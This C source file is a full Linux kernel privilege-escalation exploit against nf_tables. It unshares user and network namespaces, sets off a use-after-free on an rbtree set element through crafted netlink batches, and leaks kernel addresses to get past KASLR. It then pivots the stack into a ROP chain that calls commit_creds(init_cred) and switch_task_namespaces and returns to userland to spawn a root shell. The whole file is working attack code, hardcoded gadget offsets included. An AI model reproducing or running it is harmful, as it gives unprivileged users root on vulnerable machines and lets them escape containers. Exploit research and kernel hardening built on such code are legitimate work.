#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/sysinfo.h>
#include <linux/netlink.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nf_tables_compat.h>
#include <netlink/msg.h>
#include <netlink/attr.h>
#include <netlink/netlink.h>
#include <netlink/netfilter/nfnl.h>
#include <sys/time.h>
#include <signal.h>

#include "obj.h"
#include "setelem.h"
#include "table.h"
#include "set.h"
#include "chain.h"

char *leak_data = NULL;
char *setelem_udata = NULL;
uint64_t kernel_off = 0;
unsigned long user_cs,user_ss,user_rsp,user_rflags;
int cur_handle = 0;
void shell(){
    printf("ret2usr success! uid : %d\n",getuid());
    char *args[] = {"/bin/sh", "-i", NULL};
    execve(args[0], args, NULL);
}

static void save_state() {
        asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %2\n"
        "pushfq\n"
        "popq %3\n"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_rsp),"=r" (user_rflags) : : "memory");
}

void pin_on_cpu(int cpu) {
  cpu_set_t cpu_set;
  CPU_ZERO(&cpu_set);
  CPU_SET(cpu, &cpu_set);
  if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) {
    perror("sched_setaffinity()");
    exit(EXIT_FAILURE);
  }
  usleep(1000);
}

int setup_sandbox(void) {
  if (unshare(CLONE_NEWUSER) < 0) {
    perror("[-] unshare(CLONE_NEWUSER)");
    return -1;
  }
  if (unshare(CLONE_NEWNET) < 0) {
    perror("[-] unshare(CLONE_NEWNET)");
    return -1;
  }
  pin_on_cpu(0);
  return 0;
}


void send_msg_list(struct nl_sock * socket, struct nlmsghdr **msg_list, int num){
    struct nl_msg * msg = nlmsg_alloc();
    //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE);
    struct nlmsghdr *hdr1 = nlmsg_put(
            msg,
            NL_AUTO_PORT, // auto assign current pid
            NL_AUTO_SEQ, // begin wit seq number 0
            NFNL_MSG_BATCH_BEGIN,   // TYPE
            sizeof(struct nfgenmsg),
            NLM_F_REQUEST //NLM_F_ECHO
    );
    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
    h->nfgen_family = 2;
    h->version = 0;
    h->res_id = NFNL_SUBSYS_NFTABLES;
    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
    struct nl_msg * msg3 = nlmsg_alloc();
    struct nlmsghdr *hdr3 = nlmsg_put(
            msg3,
            NL_AUTO_PORT, // auto assign current pid
            NL_AUTO_SEQ, // begin wit seq number 0
            NFNL_MSG_BATCH_END,// TYPE
            sizeof(struct nfgenmsg),
            NLM_F_REQUEST //NLM_F_ECHO
    );
    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
    int i;
    for(i=0;i<num;i++){
    	total_size = total_size + NLMSG_ALIGN(msg_list[i]->nlmsg_len);
    }
    char *buf = malloc(total_size);
    memset(buf, 0, total_size);
    memcpy(buf, hdr1, NLMSG_ALIGN(hdr1->nlmsg_len));
    char *off = buf + NLMSG_ALIGN(hdr1->nlmsg_len);
    for(i=0;i<num;i++){
    	memcpy(off, msg_list[i], NLMSG_ALIGN(msg_list[i]->nlmsg_len));
	off = off + NLMSG_ALIGN(msg_list[i]->nlmsg_len);
    }
    memcpy(off, hdr3, NLMSG_ALIGN(hdr3->nlmsg_len));
    //printf("send msg list total size : %ld\n",total_size);
    int res = nl_sendto(socket, buf, total_size);
    if (res < 0) {
        printf("sending message failed\n");
    }
}


int nl_callback_get_setelem(struct nl_msg* recv_msg, void* arg)
{

    struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg);
    struct nlattr * tb_msg[NFTA_SET_ELEM_LIST_MAX+1];
    memset(tb_msg, 0, NFTA_SET_ELEM_LIST_MAX * 8);
    //printf("Get message back!\n");

    if (ret_hdr->nlmsg_type == NLMSG_ERROR) {
        //printf("Received NLMSG_ERROR message!\n");
        return NL_STOP;
    }

    struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg));
    int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg));
    nla_parse(tb_msg, NFTA_SET_ELEM_LIST_MAX, attr, attrlen, NULL);
    char * table_name=NULL;
    char * set_name=NULL;

    if (tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS]){
        struct nlattr * tb_msg2[NFTA_SET_ELEM_MAX+1];
        memset(tb_msg2, 0, NFTA_SET_ELEM_MAX * 8);
        nla_parse_nested(tb_msg2, NFTA_SET_ELEM_MAX, tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS],NULL);

        struct nlattr * tb_msg3[NFTA_SET_ELEM_MAX+1];
        memset(tb_msg3, 0, NFTA_SET_ELEM_MAX * 8);
        nla_parse_nested(tb_msg3, NFTA_SET_ELEM_MAX, tb_msg2[1],NULL);
        char *val = malloc(nla_len(tb_msg3[NFTA_SET_ELEM_KEY]));
        nla_memcpy(val, tb_msg3[NFTA_SET_ELEM_KEY], nla_len(tb_msg3[NFTA_SET_ELEM_KEY]));
	free(setelem_udata);
        //printf("Get setelem len : %llx\n", nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA]));
	setelem_udata = malloc(nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA]));
	nla_memcpy(setelem_udata, tb_msg3[NFTA_SET_ELEM_USERDATA], nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA]));
    }
    else
        printf("No NFTA_SET_ELEM_LIST_ELEMENTS\n");
    return NL_OK;
}


void exploit(struct nl_sock *socket){
    int i;
    char *table = "table for exp";
    char *bitmap_set = "set bitmap for exp";
    char *pipapo_set = "set pipapo for exp";
    char *obj_for_exp = "obj for exp";
    char *rbtree_set = "rbtree set for exp";
    new_table(socket, table);
    new_set_bitmap(socket, table, bitmap_set);
    new_set_pipapo(socket, table, pipapo_set, 0x40, NFT_OBJECT_CT_EXPECT);
    new_obj_ct_expect(socket, table, obj_for_exp, NULL, 0);
    char *key = malloc(0x40);
    memset(key, 0x41, 0x40);
    char *pad = malloc(0x100);
    memset(pad,0x41,0x100);
    
    struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*0x1000);
    uint64_t hash_key;
    uint64_t *key1 = (uint64_t *)key;
    //prepare a setelem hold obj_for_exp2 for dump
    //trigger the vul
    //step1: prepare env
    //init rbtree first
    new_set_rbtree_for_timeout(socket,table, rbtree_set, NFT_OBJECT_CT_EXPECT,0x40);
    *key1 = 0x90;
    msg_list[0] = new_setelem_with_expiration_msg(table, rbtree_set, NULL, 0, obj_for_exp, key1, 0x40, NULL, 0, 0, 0xffff000000000000);
    *key1 = 0x80;
    msg_list[1] = new_setelem_with_expiration_msg(table, rbtree_set, NULL, 0, obj_for_exp, key1, 0x40, NULL, 0, 0, 0xffff000000000000);
    *key1 = 0x70;
    msg_list[2] = new_setelem_with_expiration_msg(table, rbtree_set, NULL, 0, obj_for_exp, key1, 0x40, NULL, 0, 0, 0xffff000000000000);
    *key1 = 0x60;
    msg_list[3] = new_setelem_with_expiration_msg(table, rbtree_set, NULL, 0, obj_for_exp, key1, 0x40, NULL, 0, 0, 0xffff000000000000);
    *key1 = 0x50;
    msg_list[4] = new_setelem_with_expiration_msg(table, rbtree_set, NULL, 0, obj_for_exp, key1, 0x40, NULL, 0, 0, 0xffff000000000000);
    *key1 = 0x40;
    msg_list[5] = new_setelem_with_expiration_msg(table, rbtree_set, NULL, 0, obj_for_exp, key1, 0x40, NULL, 0, 0, 0xffff000000000000);
    *key1 = 0x30;
    msg_list[6] = new_setelem_with_expiration_msg(table, rbtree_set, NULL, 0, obj_for_exp, key1, 0x40, NULL, 0, 0, 0xffff000000000000);
    *key1 = 0x20;
    msg_list[7] = new_setelem_with_expiration_msg(table, rbtree_set, NULL, 0, obj_for_exp, key1, 0x40, NULL, 0, 0, 0x0100000000000000);
    
    send_msg_list(socket, msg_list, 8);
    *key1 = 0x90;
    del_setelem(socket, table, rbtree_set, key1, 0x40, NULL, 0);
    sleep(1);
    printf("Finish step1\n");
    //step2: trigger the vul
    //Now trigger the vul. We will insert the 0xb0 set element in rbtree set after it was freed

    *key1 = 0xa0;
    msg_list[0] = new_setelem_with_INTERVAL_END_msg(table, rbtree_set, key1, 0x40);
    *key1 = 0xb0;
    msg_list[1] = new_setelem_with_expiration_msg(table, rbtree_set, pad, 0x60, obj_for_exp, key1, 0x40, NULL, 0, 0, 0xffff000000000000);
    
    //Avaoid double free crash
    char *tmp=malloc(0x20);
    for(i=0;i<0x20;i++){
    	snprintf(tmp, 0x20, "table for exp %d", i);
	msg_list[2+i] = new_table_with_udata_msg(tmp, pad, 0x68);
    }
        
    *key1 = 0x10;
    msg_list[0x22] = new_setelem_with_expiration_msg(table, rbtree_set, pad, 0xf0, obj_for_exp, key1, 0x40, NULL, 0, 0, 0xffff000000000000);//gc here
    
    msg_list[0x23] = new_chain_msg("test","test",0);
    send_msg_list(socket, msg_list, 0x24);
    sleep(1);
    printf("Finish step2\n");
    //step 3
    //Now we have a free setelem in rbtree_set
    //We pad some parts of the set element, which is some fake part of set element of rbtree_set
    *(uint64_t *)&key[12] = 0x3000000000006800;//NFT_SET_EXT_KEY=0x60, NFT_SET_EXT_USERDATA=0x30
    *(uint64_t *)&key[20] = 0;
    *&key[60] = 0xff;//fake udata_size
    *(uint64_t *)&pad[7] = 0x70; //fake key
    //for(i=0;i<0x400;i++){
    //	*key = i;
    new_setelem_with_expr(socket, table, pipapo_set, pad, 0x70, obj_for_exp, key, 0x40, NULL, 0);
    //}
    //Leak data first
    uint16_t index_key;
    //pad some fd and bk ptr through bitmap set elem.
    for(i=0;i<0x200;i++){
        index_key = i;
        new_setelem(socket, table, bitmap_set, pad, 0xc0, NULL, &index_key, 2, NULL, 0, 0);
    }

    struct nl_sock * socket2 = nl_socket_alloc();
    if(nfnl_connect(socket2)<0){
        printf("nfnl_connect fail!\n");
        return 0;
    }
    nl_socket_modify_cb(socket2,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_get_setelem, NULL);
    memset(key,0x41,0x40);
    *key1 = 0x70;
    get_setelem(socket2, table, rbtree_set, key1, 0x40);
    nl_recvmsgs_default(socket2);
    nl_recvmsgs_default(socket2);

    printf("leak ops: %llx\n", *(uint64_t *)(setelem_udata+0xf));
    printf("leak setelement->next of bitmap_set: %llx\n",*(uint64_t *)(setelem_udata+0xb7));
    printf("key : %llx\n", *(uint16_t *)(setelem_udata+0xd3)+1);
    kernel_off = *(uint64_t *)(setelem_udata+0xf) - 0xFFFFFFFF82ACA3A0;//the address of nft_last_ops without kaslr
    printf("kernel off :%llx\n", kernel_off);
    uint64_t ops_addr = *(uint64_t *)(setelem_udata+0xb7);
    if(ops_addr == 0 || ((ops_addr&0xff)>0)){
        //Leak fail. Exit.
        exit(0);
    }
    printf("Finish step3\n");
    //step4 control the RIP
    index_key = *(uint16_t *)(setelem_udata+0xd3)+1;
    del_setelem(socket, table, bitmap_set, &index_key, 2, NULL, 0);
    sleep(1);
    //We prepare the ROP gadget on the leak set element
    char *rop = &pad[1];
    *(uint64_t *)&rop[0x40] = kernel_off + 0xffffffff811f0403;//leave ; ret  stack migration first
    //ops->type
    *(uint64_t *)&rop[0x70] = kernel_off + 0xFFFFFFFF8371BD00;/*the address of nft_last_type
							      In function nf_tables_fill_expr_info:
							      	if (nla_put_string(skb, NFTA_EXPR_NAME, expr->ops->type->name))
							      so we need to fake ops->type to avoid kernel crash
							      */
    //ROP gadget
    *(uint64_t *)&rop[0x00] = kernel_off + 0xffffffff81080920;//pop rdi; ret
    *(uint64_t *)&rop[0x08] = kernel_off + 0xFFFFFFFF83462140;//init_cred
    *(uint64_t *)&rop[0x10] = kernel_off + 0xFFFFFFFF8110D710;//commit_creds;
    *(uint64_t *)&rop[0x18] = kernel_off + 0xffffffff81080920;//pop rdi ; ret
    *(uint64_t *)&rop[0x20] = 1;
    *(uint64_t *)&rop[0x28] = kernel_off + 0xFFFFFFFF81104580;//find_task_by_vpid
    //jmp to avoid ops->dump and ops->type

    //*(uint64_t *)&rop[0x30] = kernel_off + 0xffffffff81067153;//pop rdi ; pop r14 ; pop r13 ; pop r12 ; pop rbp ; pop rbx ; ret
    *(uint64_t *)&rop[0x30] = kernel_off + 0xFFFFFFFF8106715A;//pop rbp ; pop rbx ; ret
    *(uint64_t *)&rop[0x48] = kernel_off + 0xffffffff8102c691;//mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret
    *(uint64_t *)&rop[0x58] = kernel_off + 0xffffffff81067154;//pop r14 ; pop r13 ; pop r12 ; pop rbp ; pop rbx ; ret
    *(uint64_t *)&rop[0x88] = kernel_off + 0xffffffff811e62bf;//pop rsi ; ret
    *(uint64_t *)&rop[0x90] = kernel_off + 0xFFFFFFFF83461F00;//init_nsproxy
    *(uint64_t *)&rop[0x98] = kernel_off + 0xFFFFFFFF8110BD30;//switch_task_namespaces
    *(uint64_t *)&rop[0xa0] = kernel_off + 0xffffffff81ff1f57;//swapgs; ret
    *(uint64_t *)&rop[0xa8] = kernel_off + 0xFFFFFFFF822011A7;//iretq
    *(uint64_t *)&rop[0xb0] = (uint64_t)shell;
    *(uint64_t *)&rop[0xb8] = user_cs;
    *(uint64_t *)&rop[0xc0] = user_rflags;
    *(uint64_t *)&rop[0xc8] = user_rsp|8;
    *(uint64_t *)&rop[0xd0] = user_ss;
    for(i=0x200;i<0x600;i++){
        index_key = i;
        new_setelem(socket, table, bitmap_set, pad, 0xd8, NULL, &index_key, 2, NULL, 0, 0);
    }
    
    //Now we try to control RIP by fake expr in set element
    elem_flush(socket, table, pipapo_set);
    sleep(1);//wait to destroy
    memset(pad, 0x41, 0x100);
    *(uint64_t *)&key[12] = 0x3000000000007800;//NFT_SET_EXT_KEY=0x78, NFT_SET_EXT_USERDATA=0x30
    *(uint64_t *)&key[20] = 0x5058;//NFT_SET_EXT_EXPRESSIONS=0x58, NFT_SET_EXT_OBJREF=0x50
   
    *(uint64_t *)&pad[0x17] = 0x10;//setelem->expr's size
    *(uint64_t *)&pad[0x1f] = ops_addr+0x20;//setelem->expr[0]->ops
    *(uint64_t *)&pad[0x27] = kernel_off + 0xffffffff81105ceb;//pop rsp; ret  stack migration second
    *(uint64_t *)&pad[0x2f] = ops_addr+0x20;
    *(uint64_t *)&pad[0x37] = 0x70; //fake key
    for(i=0;i<0x400;i++){
        *(uint32_t *)key = i;
        new_setelem(socket, table, pipapo_set, pad, 0x80, obj_for_exp, key, 0x40, NULL, 0, 0);
    }
    printf("Finish step4\n");
    memset(key,0x41,0x40);
    *key1 = 0x70;
    get_setelem(socket2, table, rbtree_set, key, 0x40);//control rip
    
    printf("End\n");
}


int main(void) {
    if (setup_sandbox() < 0){
        printf("Create sandbox fail!\n");
        return 0;
    }

    save_state();
    struct nl_sock * socket = nl_socket_alloc();
    
    if(nfnl_connect(socket)<0){
    	printf("nfnl_connect fail!\n");
	return 0;
    }
    exploit(socket);
    return 0;
}
